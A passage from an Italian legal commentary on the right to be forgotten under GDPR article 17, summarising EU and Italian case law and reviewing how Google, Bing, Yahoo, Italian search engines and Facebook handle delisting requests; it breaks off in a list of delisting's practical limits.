Il diritto alla cancellazione, articolato nell’articolo 17 del GDPR, offre all’interessato la facoltà di richiedere la rimozione dei dati personali che lo riguardano, sotto specifiche condizioni. Queste includono scenari in cui i dati non sono più necessari rispetto alle finalità per le quali sono stati raccolti, il ritiro del consenso su cui si basa il trattamento, o il rilevamento di trattamento illecito dei dati. La normativa chiarisce che tale diritto non è assoluto ma condizionato dalla presenza di determinate circostanze che legittimano la richiesta di cancellazione, al fine di bilanciare altri interessi fondamentali, come la libertà di espressione e il diritto all’informazione. La cancellazione dei dati non può avvenire automaticamente se prevale un interesse pubblico legittimo o se i dati sono necessari per l’accertamento, l’esercizio o la difesa di un diritto in sede giudiziaria.

Oltre alla distruzione fisica dei dati, il regolamento contempla alternative quali l’anonimizzazione, intendendo qualsiasi processo che renda i dati non riconducibili all’identità del soggetto interessato. Tale approccio differisce dalla pseudonimizzazione, in quanto quest’ultima non preclude la possibilità di futura reidentificazione. Pertanto, l’efficacia del diritto alla cancellazione si manifesta attraverso la irreversibilità della separazione tra i dati e l’identità dell’individuo, un aspetto fondamentale per la tutela della privacy. La normativa impone al titolare del trattamento di valutare le richieste di cancellazione nel rispetto del principio di proporzionalità, tenendo conto dei costi, delle tecnologie disponibili e della propria organizzazione. Qualora i dati oggetto della richiesta di cancellazione siano stati condivisi con terzi, il titolare è tenuto a informare tali entità della necessità di adottare misure analoghe a quelle intraprese direttamente. 

Nel complesso giurisprudenziale e normativo vanno ricordate:

  • Sentenza della Corte (Grande Sezione) del 13 maggio 2014. Google Spain SL e Google Inc. contro Agencia Española de Protección de Datos (AEPD) e Mario Costeja González. Causa C131/12. “Il gestore di un motore di ricerca su Internet è responsabile del trattamento da esso effettuato dei dati personali che appaiono su pagine web pubblicate da terzi. Così, nel caso in cui, a seguito di una ricerca effettuata a partire dal nome di una persona, l’elenco di risultati mostra un link verso una pagina web che contiene informazioni sulla persona in questione, questa può rivolgersi direttamente al gestore oppure, qualora questi non dia seguito alla sua domanda, adire le autorità competenti per ottenere, in presenza di determinate.” La Corte di Giustizia dell’Unione Europea nel caso Google Spain ha posto le basi per il riconoscimento del diritto all’oblio nel contesto dei motori di ricerca. La Corte ha stabilito che i motori di ricerca hanno la responsabilità di rimuovere i link a informazioni obsolete o non più rilevanti, equilibrando il diritto alla privacy degli individui con il diritto del pubblico all’accesso alle informazioni. Questa decisione ha evidenziato il ruolo dei motori di ricerca nella gestione delle informazioni personali e ha sottolineato la necessità di valutare attentamente le richieste di deindicizzazione in base all’interesse pubblico e alla rilevanza delle informazioni.
  • Sentenza della Corte di giustizia nella causa C-136/17 (24 settembre 2019)
    GC e a./Commission nationale de l’informatique et des libertés (CNIL). “Il divieto di trattare determinate categorie di dati personali sensibili si applica anche ai gestori di motori di ricerca. Nell’ambito di una domanda di deindicizzazione, dev’essere effettuato un bilanciamento tra i diritti fondamentali del richiedente la deindicizzazione e quelli degli utenti di Internet potenzialmente interessati a tali informazioni”.
  • Sentenza nella causa C-507/17 (24 settembre 2019). Google LLC, succeduta alla Google Inc./ Commission nationale de l’informatique et des libertés (CNIL)“Il gestore di un motore di ricerca non è tenuto a effettuare la deindicizzazione in tutte le versioni del suo motore di ricerca. È tuttavia tenuto ad effettuarla nelle versioni di tale motore di ricerca corrispondenti a tutti gli Stati membri e ad attuare misure che scoraggino gli utenti di Internet dall’avere accesso, a partire da uno degli Stati membri, ai link di cui trattasi contenuti nelle versioni extra UE di detto motore”.
  • La sentenza della Corte di giustizia dell’Unione Europea nella causa C-460/20, relativa al caso Google (Deindicizzazione di contenuti asseritamente inesatti), rappresenta un importante punto di riferimento nell’ambito del diritto alla protezione dei dati personali, in particolare per quanto concerne il “diritto all’oblio”). Il contesto della sentenza riguarda la richiesta da parte di due dirigenti di un gruppo di società di investimenti affinché Google deindicizzasse risultati di ricerca collegati a loro nomi, i quali contenevano link verso articoli criticando il loro modello di investimento con affermazioni ritenute inesatte, e l’eliminazione delle loro fotografie sotto forma di miniature da risultati di ricerca di immagini. La Corte di giustizia sottolinea che il diritto alla protezione dei dati personali non è assoluto ma deve essere bilanciato con altri diritti fondamentali, come la libertà di informazione, seguendo il principio di proporzionalità. La normativa europea prevede eccezioni al diritto alla cancellazione quando il trattamento dei dati è necessario per l’esercizio del diritto alla libertà di informazione. Nella sua decisione, la Corte stabilisce che i diritti alla protezione della vita privata e dei dati personali prevalgono generalmente sull’interesse degli utenti di Internet all’accesso alle informazioni, ma questo equilibrio può variare a seconda delle circostanze del caso, incluse la natura e la sensibilità delle informazioni e l’interesse pubblico ad esse associato. Tuttavia, quando le informazioni indicizzate si rivelano manifestamente inesatte, o almeno una parte di esse di non minore importanza, il diritto alla libertà d’espressione e di informazione non può essere considerato per giustificare il loro mantenimento nell’indice del motore di ricerca. Per quanto riguarda l’obbligo di prova in capo a chi richiede la deindicizzazione, la Corte precisa che spetta a questa persona dimostrare l’inesattezza manifesta delle informazioni, fornendo prove ragionevolmente ricercabili, senza che ciò comporti un onere eccessivo. Non è necessario, almeno nella fase precontenziosa, fornire una decisione giudiziaria contro l’editore del sito. Il gestore del motore di ricerca, ricevuta una richiesta di deindicizzazione supportata da elementi di prova pertinenti e sufficienti, è tenuto ad accoglierla, soprattutto se esiste una decisione giudiziaria che attesta l’inesattezza delle informazioni. In assenza di manifesta inesattezza evidente dagli elementi forniti, e senza una decisione giudiziaria che lo confermi, il gestore del motore di ricerca non è obbligato ad accogliere la richiesta, ma il richiedente può rivolgersi alle autorità competenti per ulteriori verifiche. Questa sentenza impone ai gestori dei motori di ricerca di adottare un approccio più attento e ponderato nell’esaminare le richieste di deindicizzazione, tenendo conto dei diritti fondamentali coinvolti e delle prove fornite dai richiedenti.
  • In particolare riferimento al nostro Paese, va evidenziato il d.lgs. 150 del 2022, noto come Riforma Cartabia, che ha introdotto nell’ordinamento giuridico italiano l’articolo 64-ter riguardante il “diritto all’oblio degli imputati e delle persone sottoposte a indagini” nelle disposizioni di attuazione del codice di procedura penale. Questa novità normativa mira a bilanciare il rapporto tra processo penale, media, e diritto all’oblio, fornendo strumenti legali per limitare la diffusione di informazioni che possano ledere la reputazione di individui già prosciolti o assolti. L’articolo 64-ter dispone che le persone a cui è stata pronunciata una sentenza di proscioglimento, non luogo a procedere, o un decreto di archiviazione, hanno il diritto di richiedere la deindicizzazione (rimozione da risultati di ricerca internet) o la preclusione dell’indicizzazione dei dati personali citati nei provvedimenti giudiziari. Questo è un passo avanti significativo nel riconoscere e tutelare il diritto all’oblio digitale di individui ingiustamente coinvolti in procedimenti penali, offrendo un rimedio legale contro la permanente disponibilità e accessibilità di informazioni potenzialmente dannose su internet. L’introduzione di questo articolo risponde all’esigenza di proteggere la dignità e la reputazione delle persone nell’era digitale, dove le informazioni su internet hanno una longevità e una diffusione senza precedenti. La normativa cerca di armonizzare le disposizioni italiane con i principi del diritto all’oblio sanciti a livello europeo, in particolare con il regolamento GDPR che prevede il diritto alla cancellazione dei dati personali. Nonostante l’innovazione legislativa, emergono alcune criticità nella sua applicazione pratica, come la definizione dei criteri per l’accoglimento delle richieste di deindicizzazione e la modalità con cui tali richieste sono esaminate e attuate dai motori di ricerca. Inoltre, vi sono dubbi sull’effettiva capacità della norma di assicurare una tutela efficace dell’oblio digitale, considerando le sfide tecniche e giuridiche legate alla gestione delle informazioni online e le implicazioni per la libertà di espressione e il diritto all’informazione. L’articolo 64-ter rappresenta un tentativo significativo di adeguare il diritto italiano alle sfide poste dalla digitalizzazione della società e dall’interazione tra privacy, reputazione online e diritti delle persone coinvolte in procedimenti giudiziari. Tuttavia, la sua efficacia pratica dipenderà dalla capacità di risolvere le questioni operative e interpretative che ne derivano, necessitando possibilmente di futuri aggiustamenti legislativi o interpretativi per garantire una protezione effettiva del diritto all’oblio.

Nel contesto dell’era digitale, la questione dell’oblio e della memoria collettiva assume connotazioni inedite e complesse. La riflessione si apre con l’interrogativo su quale forma assuma la vita in un’epoca dove “Google ricorda sempre”, evidenziando i pericoli emergenti legati alla rete, un dominio che funge da deposito per un’implacabile memoria collettiva. La digitalizzazione ha portato a una situazione dove ogni aspetto della vita umana viene raccolto, cristallizzato e reso eternamente accessibile nell’ “inconscio digitale”, trasformando la memoria, un tempo intesa come un accumulo di esperienze, in un peso da cui liberarsi.

Il desiderio di oblio, quindi, non nasce tanto dalla volontà di eludere uno sguardo indesiderato, quanto dalla necessità di ritirarsi in una zona d’ombra digitale, dove le tracce personali possono essere “cancellate”. Questo bisogno si è intensificato con l’avvento di Internet e delle nuove tecnologie, che hanno reso ogni traccia della vita umana permanentemente accessibile, ponendo le basi per il diritto all’oblio. Questo diritto, emergente tra gli anni ‘80 e ‘90, oscilla tra il rispetto dell’identità della persona e il diritto alla riservatezza, assumendo una configurazione autonoma grazie all’espansione dei cosiddetti diritti della personalità.

L’evoluzione giuridica di tale diritto, è stato riconosciuto e definito attraverso un processo di reinterpretazione dell’art. 2 della Costituzione italiana, che considera la tutela della personalità umana in tutte le sue espressioni, anche quelle non ancora normativamente tipizzate. Questo approccio ha portato al riconoscimento giuridico di situazioni esistenziali quali il diritto alla riservatezza e il diritto all’identità personale, distinguendoli per la prima volta e ponendo le basi per l’emergere del diritto all’oblio.

Il diritto all’oblio, pertanto, è stato inizialmente inteso come la pretesa di non vedere rievocati fatti già resi di pubblico dominio, con l’obiettivo di proteggere l’individuo da una nuova notorietà indesiderata. La giurisprudenza di legittimità ha successivamente qualificato l’oblio come l’interesse a non restare indefinitamente esposto ai danni ulteriori arrecati alla reputazione dall’incessante pubblicazione di notizie passate.

Nel bilanciamento tra diritto all’oblio e diritto di cronaca, emerge la complessità di armonizzare l’interesse pubblico all’informazione con il diritto individuale alla dimenticanza. La prevalenza di uno sull’altro dipende dalla rilevanza attuale della notizia e dall’esistenza di un interesse pubblico nella sua rievocazione.

Nell’era della digitalizzazione, la nozione di privacy subisce una trasformazione radicale, evidenziando come la dimensione virtuale influenzi profondamente il concetto di spazio personale. È evidente come la rivoluzione elettronica e tecnologica abbia espanso lo schermo della vita personale oltre il personal computer, immergendola nell’intero spazio della rete. Questo cambio di paradigma solleva interrogativi significativi sulla possibile perdita di diritti in un contesto dove la privacy tradizionale, intesa come “diritto a essere lasciato solo”, non sembra più adeguata a tutelare l’individuo contro intrusioni non desiderate.

La trasformazione della “sfera privata” in un luogo di scambio e condivisione di dati personali richiede un’evoluzione verso la “protezione dei dati”, concetto elaborato nell’ambito europeo per rispondere alla necessità di una disciplina uniforme che regoli i nuovi spazi sconfinati e mobili della rete. Il contesto digitale, caratterizzato da un pluralismo di fonti e una molteplicità di giurisdizioni, presenta sfide significative nella risoluzione delle controversie e nel bilanciamento tra diritti personali e la libertà di informazione. La peculiarità dei diritti in rete, che non ammettono una gerarchizzazione a causa della natura intrinsecamente egualitaria della rete, richiede un approccio “multilevel” per la loro regolamentazione.

In questo scenario, il diritto all’oblio emerge come una necessità di governare la propria memoria digitale, offrendo a ciascuno la possibilità di reinventarsi e costruire una nuova identità personale, liberandosi dalle “gabbie” imposte da una memoria onnipresente e totalizzante. Tuttavia, la regolamentazione dei diritti in un dominio apparentemente anarchico come il web solleva interrogativi fondamentali sui meccanismi di governance, sul ruolo degli Stati e sulla capacità delle leggi di adattarsi a una realtà in continuo mutamento.

Il dibattito sulla regolamentazione del ciberspazio, evidenziato dalla Dichiarazione d’indipendenza del ciberspazio, mostra la tensione tra la necessità di tutelare i diritti umani in un contesto digitale e la resistenza a un controllo centralizzato. Le questioni su chi debba essere il legislatore e quale giudice debba applicare i diritti proclamati riflettono le sfide poste dalla nascita di nuovi diritti umani nell’era digitale, sottolineando l’urgenza di trovare soluzioni innovative per garantire la protezione della privacy e altri diritti fondamentali nell’ambito virtuale. La risposta a queste sfide passa attraverso un dialogo inclusivo tra diversi attori a vari livelli, che possano concorrere alla creazione di un quadro normativo adatto a regolare la complessità del ciberspazio, come dimostrato dagli sforzi dell’Unione Europea in materia di protezione dei dati.

L’articolo 17 del GDPR segna un punto di svolta nella protezione dei dati personali nell’Unione Europea, introducendo il “diritto alla cancellazione” dei dati personali, comunemente noto come “diritto all’oblio”. Questo diritto permette agli individui di richiedere la cancellazione dei propri dati personali dal titolare del trattamento senza ingiustificato ritardo, e impone al titolare del trattamento l’obbligo di cancellare tali dati quando sussistono specifiche condizioni.

Nonostante il termine “diritto all’oblio” non sia esplicitamente definito nel GDPR, l’articolo 17 stabilisce chiaramente i presupposti per l’esercizio di questo diritto, tra cui la non necessità dei dati per le finalità originali di raccolta o trattamento, la revoca del consenso da parte dell’interessato, e il trattamento illecito dei dati. Tuttavia, il regolamento ammette eccezioni al diritto alla cancellazione, ad esempio quando il trattamento è necessario per l’esercizio della libertà di espressione e di informazione, per l’adempimento di un obbligo legale, o per motivi di interesse pubblico.

La giurisprudenza e la dottrina hanno sollevato criticità riguardo all’assenza di una definizione precisa del diritto all’oblio e alla discrezionalità affidata alle corti e alle autorità nazionali nel bilanciamento tra i diritti dell’interessato e gli altri interessi in gioco. Inoltre, l’articolo 17 viene interpretato come uno tra i possibili rimedi per realizzare l’oblio, evidenziando come esistano diverse declinazioni di questo diritto, come la deindicizzazione, l’anonimizzazione dei dati, e la contestualizzazione delle informazioni non più attuali.

La giurisprudenza italiana ha affrontato questioni legate al diritto all’oblio, bilanciando il diritto di cronaca e il diritto alla privacy. Due casi significativi riguardano un noto cantautore italiano e una vicenda di uxoricidio, entrambi esemplificativi del dibattito sul diritto all’oblio rispetto alla libertà di espressione e al diritto di cronaca. La Suprema Corte di Cassazione ha delineato criteri per il bilanciamento tra questi diritti, sottolineando che la pubblicazione di informazioni relative a persone a distanza di tempo dai fatti deve rispettare specifici presupposti per non violare il diritto all’oblio.

La decisione delle Sezioni Unite del 2019 rappresenta un momento storico nella giurisprudenza italiana, identificando tre differenti declinazioni del diritto all’oblio e stabilendo che la rievocazione di fatti storici deve avvenire in forma anonima, a meno che non si tratti di figure pubbliche. Questa sentenza evidenzia l’importanza del diritto all’oblio nel contesto digitale, riconoscendo il diritto degli individui a non essere eternamente legati a informazioni del passato, favorendo così la possibilità di reinserimento sociale e la protezione della dignità personale.

La decisione del settembre 2019 della Corte di Giustizia dell’Unione Europea sul caso Google rappresenta un importante punto di riferimento nell’interpretazione e applicazione del diritto alla protezione dei dati personali, in particolare in relazione all’articolo 17 del GDPR. Questa sentenza ha affrontato questioni chiave riguardanti l’ammissibilità dell’esercizio del diritto alla deindicizzazione e la sua possibile estensione territoriale oltre i confini dell’Unione Europea.

La Corte è stata chiamata a risolvere due questioni principali: da un lato, il bilanciamento tra il diritto alla protezione dei dati personali e il diritto all’informazione dell’utente di Internet; dall’altro, la determinazione della portata territoriale del diritto alla deindicizzazione. Con particolare attenzione alla prima questione, è stato riconosciuto che, mentre l’Internet agisce come veicolo per la cura e l’aggiornamento dei dati personali attraverso i siti sorgente e la loro successiva indicizzazione e memorizzazione da parte dei motori di ricerca, l’articolo 17 del GDPR stabilisce le condizioni per cui un individuo può richiedere la cancellazione dei propri dati personali. In questo contesto, è emersa l’importanza non solo del diritto a essere informati ma anche del diritto di informare, sottolineando la necessità di proteggere l’informazione in tutte le sue forme per assicurare il pluralismo informativo e il diritto di ogni utente ad essere adeguatamente informato.

Riguardo alla seconda questione, relativa alla portata territoriale del diritto all’oblio, la Corte ha stabilito che il gestore di un motore di ricerca è tenuto a rimuovere i link dalle versioni del motore di ricerca corrispondenti a tutti gli Stati membri dell’UE, limitando così l’obbligo di deindicizzazione ai confini territoriali dell’Unione. Questa decisione riflette la complessità di estendere la protezione dei dati personali e il diritto alla cancellazione a livello globale, dato che molti paesi al di fuori dell’UE non riconoscono il diritto alla protezione dei dati personali o non lo regolano in modo simile. La sentenza del 2019 chiarisce dunque che la deindicizzazione, sebbene rappresenti un importante strumento di tutela dei diritti degli individui nell’ambito digitale, ha un ambito di applicazione geograficamente limitato all’UE. Questo implica che, nonostante le rigorose protezioni offerte all’interno dell’Unione, la capacità di garantire il diritto alla cancellazione dei dati su scala globale rimane una sfida significativa. La decisione sottolinea l’importanza di sviluppare meccanismi e strategie, come il blocco geografico, che permettano di adempiere efficacemente agli obblighi di deindicizzazione nel rispetto dei principi stabiliti dal GDPR, pur riconoscendo le limitazioni imposte dal contesto normativo e giuridico internazionale.

Negli ultimi anni si stanno sviluppando tuttavia altre forme di tutela, le quali demandano l’intera attività di raccolta di informazioni, nonché la fase decisionale, direttamente ai provider o ai soggetti che gestiscono il motore di ricerca. Nei paragrafi successivi saranno analizzati tali strumenti. Sarà altresì preso in considerazione il social network Facebook, il quale, secondo gli analisti anche alla luce della relativa diffusione nel medio e lungo periodo avrebbe l’intenzione di contrapporsi ai motori di ricerca (http://search.fb.com/), integrando un motore di ricerca interno e sfruttando i contenuti dei propri utenti ed avvalendosi di una standardizzazione dei dati particolarmente elevata. Facebook appare certamente così appartenere alla zona grigia della sentenza C-131, in quanto allo stato attuale appare difficile che esso sia considerato come un vero e proprio motore di ricerca, ma inizia già ora a svolgere, in tutto o in parte, la funzione tecnologica di ricerca delle informazioni, seppure in una rete ristretta.

La tematica della deindicizzazione e del diritto all’oblio su internet ha acquisito rilevanza crescente nell’era digitale, particolarmente con l’introduzione di meccanismi che permettono agli individui di richiedere la rimozione di contenuti dai motori di ricerca come Google. Questo fenomeno, evidenziato dalla rapida escalation delle richieste di rimozione subito dopo la disponibilità di un modulo online dedicato, mette in luce le sfide e le complessità intrinseche alla gestione del diritto alla privacy nell’ambiente online.

Google law: un form per l’esercizio dell’oblio

    Google, in risposta alle esigenze normative e sociali, ha introdotto un modulo web[1] che consente agli individui di esercitare il diritto all’oblio, chiedendo la rimozione di specifici contenuti dalle pagine dei risultati di ricerca (SERP[2]). L’iter procedurale, nonostante la sua apparente semplicità, nasconde diverse complessità sia operative che etiche. La necessità di allegare una scansione di un documento d’identità, pur consentendo l’anonimizzazione di alcune parti, solleva questioni relative alla sicurezza dei dati personali e alla loro gestione da parte di un ente privato come Google.

    La gestione delle richieste, affidata inizialmente al personale junior e poi, in casi più complessi, a consulenti senior e avvocati, denota un processo decisionale strutturato e mirato a valutare l’appropriatezza delle richieste di rimozione. Questo processo si articola in diverse fasi che includono la verifica dell’identità del richiedente, il collegamento con un Paese europeo, la pertinenza delle informazioni con il nome del richiedente e l’interesse pubblico delle informazioni richieste per la deindicizzazione.

    Una delle criticità maggiori del sistema di deindicizzazione risiede nella sua applicabilità e conformità alle normative sui diritti alla privacy, in particolare rispetto al contesto europeo. La procedura di Google, pur essendo un passo verso il riconoscimento del diritto all’oblio, sembra limitare la sua applicazione ai cittadini o residenti europei, non allineandosi completamente alle disposizioni del codice della privacy italiano che estende la tutela dei dati personali a chiunque, indipendentemente dalla cittadinanza, purché il trattamento dei dati avvenga sul territorio italiano.

    Inoltre, l’efficacia della deindicizzazione si limita alla rimozione dei contenuti basati su specifiche parole chiave, come il nome dell’interessato, senza impedire la reperibilità delle informazioni attraverso altre vie di ricerca. Questo limita sostanzialmente il diritto all’oblio, riducendolo a una mera deindicizzazione nominativa che non cancella la presenza online delle informazioni, ma ne riduce solo parzialmente l’accessibilità.

    La gestione del diritto all’oblio da parte di Google pone in evidenza la necessità di un approccio più olistico e conforme alle diverse normative nazionali ed europee. Un sistema efficace di deindicizzazione dovrebbe non solo considerare le specificità legali di ogni Paese ma anche garantire una reale protezione del diritto alla privacy, estendendo la possibilità di rimozione a tutte le informazioni irrilevanti o obsolete, indipendentemente dalle parole chiave utilizzate nella ricerca.

    In conclusione, mentre la procedura attuale rappresenta un importante passo avanti nella tutela della privacy online, rimangono significative sfide e opportunità per migliorare l’efficacia e la conformità del diritto all’oblio con le diverse normative sulla protezione dei dati. Sarà fondamentale continuare a monitorare e valutare l’evoluzione di queste pratiche per garantire un equilibrio tra il diritto alla privacy degli individui e l’interesse pubblico all’accesso alle informazioni.

    Bing

    Bing, il motore di ricerca di Microsoft Corporation, ha reso disponibile un proprio form[3] articolato in 4 parti, per richiedere la deindicizzazione dei contenuti.

    Il modo in cui Bing gestisce le richieste di deindicizzazione offre spunti peculiari per un’analisi approfondita, soprattutto se confrontato con Google. Il form di richiesta di deindicizzazione proposto da Bing si distingue per il suo approccio analitico, richiedendo agli utenti di specificare non solo il contenuto da rimuovere ma anche il contesto e la posizione dell’interessato nella propria comunità. Questo dettaglio assume particolare rilevanza in quanto sottolinea l’importanza dell’impatto sociale e comunitario nell’analisi delle richieste, offrendo una tutela più affine alle dinamiche sociali reali.

    Differenze significative emergono anche nella territorialità applicata alla procedura di deindicizzazione, con Google che estende la protezione non solo ai residenti ma anche agli individui domiciliati in Europa. Questa estensione rappresenta una sensibilità più ampia verso il diritto alla privacy, andando oltre le mere distinzioni legali tra residenza e domicilio.

    Una peculiarità di Bing è la considerazione dello pseudonimo, allineandosi così alle tutele previste dal codice della privacy e dal diritto civile italiano. Questo aspetto è fondamentale in quanto riconosce l’importanza dell’identità digitale e la necessità di proteggerla con le stesse garanzie dell’identità anagrafica.

    Per quanto riguarda i minori, Bing adotta una posizione progressista permettendo loro di inviare autonomamente il modulo di richiesta di deindicizzazione. Sebbene questa scelta rispecchi un riconoscimento del diritto al libero sviluppo della personalità del minore, solleva questioni delicate relative alla capacità dei minori di comprendere appieno le implicazioni del consenso al trattamento dei dati e dell’esercizio del diritto alla privacy. La decisione di Bing di consentire tale autonomia merita quindi un’analisi critica, considerando le diverse interpretazioni e le possibili implicazioni legali e sociali.

    Inoltre, Bing esige che le richieste di deindicizzazione siano accompagnate da una descrizione dettagliata del contenuto e dalle motivazioni che sottendono alla richiesta. Tale processo riflette un tentativo di bilanciare il diritto all’oblio con la libertà di espressione e l’interesse pubblico all’accesso alle informazioni. Tuttavia, la categorizzazione delle ragioni per la richiesta di rimozione (informazioni inesatte, false, incomplete, inadeguate, non aggiornate, non pertinenti, eccessive o improprie) potrebbe introdurre ambiguità, in quanto confonde il diritto all’oblio con il diritto all’aggiornamento dei dati personali.

    Yahoo!

    Yahoo! ha predisposto un apposito form “Richieste di Blocco dei risultati della ricerca in Yahoo Ricerca:Risorse per i Residenti in Europa[4]. In particolare il motore di ricerca specifica che la Corte di giustizia dell’Unione europea ha decretato che gli utenti residenti in Europa possono richiedere che URL specifici vengano deindicizzati rispetto a ricerche specifiche del loro nome, nel caso in cui la pagina contenga dati personali imprecisi, inadeguati, non più pertinenti o eccessivi, relativamente ai fini per i quali erano stati raccolti o elaborati. Gli utenti di Yahoo residenti in Europa possono utilizzare questo modulo per richiedere che un URL venga bloccato per una pagina, associata al loro nome, che rispetti questi criteri. Si ricorda che qualsiasi blocco verrà garantito solamente riguardo alla ricerca del nome specifico dell’utente in questione.

    Libero search (Arianna) e gli altri motori italiani

    Nel panorama dei motori di ricerca italiani, Arianna (Libero.it) emerge come un caso emblematico. Originariamente lanciato nel 1996 da ricercatori dell’Università di Pisa, Arianna ha modificato la sua strategia nel 2008 adottando i risultati di ricerca forniti da Google Inc., come indicato dalla dicitura “enhanced by Google” sul proprio box di ricerca. Questa scelta rispecchia un adattamento alle branding guidelines di Google, ma solleva questioni riguardanti l’autonomia e la gestione dei dati personali.

    Una caratteristica distintiva di Arianna è l’offerta limitata alle funzioni di “ricerca correlata” ed “avanzata”, che mirano a migliorare l’esperienza dell’utente senza stravolgere la SERP (Search Engine Results Page) fornita da Google. Ciò solleva interrogativi sull’esercizio del diritto all’oblio da parte degli utenti italiani, dato che non sono presenti moduli specifici per la deindicizzazione dei contenuti o indicazioni chiare su come la rimozione dei dati da Google possa influire sui risultati di Arianna.

    Contrastando con queste realtà, Istella[5] rappresenta un’iniziativa nata dalla collaborazione tra Tiscali, l’Università degli Studi di Pisa e il CNR. Lanciato il 19 marzo 2013, Istella si propone non come un diretto concorrente dei giganti della ricerca online, ma come un’alternativa focalizzata su fonti non indicizzate da altri motori. Nonostante l’approccio innovativo e la non conservazione dei dati degli utenti, anche Istella non fornisce indicazioni chiare sull’esercizio del diritto all’oblio. Rimane presente unicamente una informativa privacy[6] che non contiene alcuna informazione in merito all’esercizio di questo specifico diritto.

    La questione del diritto all’oblio nei motori di ricerca italiani riflette la complessità delle interazioni tra normative sulla privacy, gestione dei dati personali e le tecnologie sottostanti. Mentre Arianna e Excite Italia mostrano le sfide poste dall’integrazione con tecnologie esterne, Istella offre una visione alternativa che tuttavia non chiarisce pienamente come viene gestito il diritto all’oblio. Questo panorama sottolinea la necessità di un quadro normativo e di pratiche aziendali che garantiscano trasparenza e controllo effettivo agli utenti sui loro dati personali nel contesto digitale.

    Facebook (Meta) e gli altri social network

    L’intersezione tra il diritto all’oblio e le piattaforme di social media, come Facebook, Twitter e LinkedIn, pone sfide uniche e complesse, che riflettono le tensioni tra privacy individuale, libertà di espressione e i confini della regolamentazione legale. La gestione dei dati personali e l’applicabilità del diritto all’oblio su queste piattaforme diventa particolarmente problematica alla luce delle diverse interpretazioni normative e delle politiche aziendali.

    Le piattaforme social come Facebook, Twitter e LinkedIn hanno trasformato il modo in cui interagiamo, comunicando e condividendo informazioni su scala globale. Tuttavia, la persistenza digitale delle informazioni condivise online solleva questioni rilevanti riguardo al diritto all’oblio, un principio che mira a consentire agli individui di richiedere la rimozione di informazioni obsolete o irrilevanti su di loro da risultati di ricerca o database online.

    Facebook, in particolare, ha affrontato critiche e sfide legali in Europa per il suo approccio alla privacy e alla gestione dei dati personali. Il conflitto con il Garante della privacy tedesco riguardante l’estensione del diritto all’oblio ai contenuti presenti sul social network sottolinea la difficoltà di definire i confini di applicabilità di questo diritto alle piattaforme di social media. La posizione di Facebook, basata sulla conformità alla normativa irlandese, riflette una strategia di minimizzazione delle responsabilità legali, ma solleva interrogativi sulla sua adeguazione alle esigenze di privacy degli utenti europei.

    La legislazione italiana, attraverso l’intervento del Garante Privacy, ha tuttavia evidenziato come la presenza di una struttura organizzativa stabile all’interno del paese (Facebook Italy s.r.l.) imponga l’applicazione del diritto nazionale in materia di protezione dei dati, confermando così l’applicabilità del diritto all’oblio anche ai giganti del web con base in altri paesi dell’UE.

    Analogamente, Twitter e LinkedIn presentano le loro politiche in materia di gestione dei dati personali, ma con una meno evidente attenzione al diritto all’oblio. Twitter, ad esempio, ha adottato misure per impedire l’eliminazione dei tweet di figure pubbliche, sottolineando la tensione tra il diritto alla privacy e l’interesse pubblico; tuttavia, il diritto all’oblio su Twitter è meno evidente poiché la piattaforma è più orientata verso il presente e la condivisione immediata di informazioni. LinkedIn, d’altra parte, offre un’informativa sulla privacy[7] dettagliata ma non fornisce indicazioni chiare sulla possibilità di esercitare il diritto all’oblio.

    La questione del diritto all’oblio nei confronti dei social network evidenzia la complessità di applicare principi giuridici stabiliti a realtà tecnologiche e sociali in continua evoluzione. Mentre le piattaforme social si sforzano di bilanciare la protezione della privacy con la libertà di espressione e le esigenze commerciali, la definizione e l’attuazione del diritto all’oblio rimangono una sfida significativa.

    Queste dinamiche richiedono un dialogo continuo tra legislatori, piattaforme social e società civile per sviluppare approcci che rispettino i diritti degli individui alla privacy e all’oblio digitale, pur garantendo il libero flusso di informazioni e la trasparenza. In ultima analisi, il diritto all’oblio nei social media solleva questioni fondamentali sulla nostra identità digitale e su come vogliamo che il nostro passato online influenzi il nostro futuro.

    In ogni caso, Facebook assicura la possibilità di rimuovere contenuti che non rispettano la dichiarazione dei diritti e delle responsabilità di Facebook[8][9] e rinvia alla normativa sull’utilizzo dei dati[10]. È prevista la possibilità di eliminare l’account[11] in qualsiasi momento o, alternativamente, di disattivare l’account in maniera temporanea; questa opzione attribuisce la possibilità di non essere più visibile a sé stessi ed a terzi, ma di poter disporre nuovamente dell’intero complesso di informazioni, che saranno comunque nuovamente accessibili[12]. È previsto uno specifico modulo mediante il quale è possibile segnalare possibili violazioni della propria privacy[13].

    Su Facebook, il diritto all’oblio si applica principalmente alle informazioni pubblicate dagli utenti stessi o da terze parti che possono influire sulla loro reputazione, vita personale o professionale. Questo può includere foto, post, commenti o altre informazioni che potrebbero non essere più rilevanti o che possono arrecare danno alla persona nel tempo[14].       

    … ma in pratica?

    Da un punto di vista pratico, bisogna evidenziare che le iniziative proposte dai principali motori di ricerca si sono rilevate nel tempo solo soluzioni di mera facciata più che di sostanza, in quanto:

    • de-indicizzazione” non significa “cancellazione”, cioè Google non potrà mai cancellare la pagina incriminata, ma farà solo in modo (o meglio, promette di fare in modo) di eliminare la possibilità che tale pagina figuri tra i risultati delle ricerche. In pratica, Google de-indicizzando il contenuto fa sì che lo stesso non possa essere “pescato” da chi scrive il nome e cognome dell’interessato sul motore (ma coi limiti, peraltro, che a breve vedremo). È ovvio, invece, che solo la totale cancellazione della pagina può garantire la certezza che l’informazione non venga mai più letta. Il fatto che la stessa continui a esistere nel web non esclude, infatti, la possibilità che essa venga trovata in modi alternativi rispetto alla ricerca su Google: per esempio, attraverso un link presente su un social network o su un’altra pagina di un diverso sito contenente notizia affine e mai de-indicizzata; una ricerca diretta all’interno dell’archivio del giornale online (per esempio, ricercando nel “motore di ricerca interno” al Corriere, Repubblica, ecc.);
    • vi è una possibilità di “ripescaggio” della pagina al variare nel tempo degli algoritmi di indicizzazione. Nella causa davanti alla Corte di Giustizia, Google aveva fatto notare la possibilità che, una volta deindicizzata la pagina incriminata, la stessa potrebbe, in teoria, essere sempre ripescata in un momento successivo, dallo stesso “crawler” automatico di Google. Anche in questo caso, se la pagina continua a esistere, nulla toglie che, in futuro, possa rispuntare grazie all’algoritmo di BigG che, ogni giorno, scandaglia le notizie presenti in Rete;
    • la sentenza era vincolante di fatto solo nei confronti di Google. Pertanto, ammesso che la notizia venga cancellata da Google, la stessa sarà agevolmente reperibile attraverso altri motori di ricerca (Bing, Yahoo, Virgilio, Tiscali, ecc.);
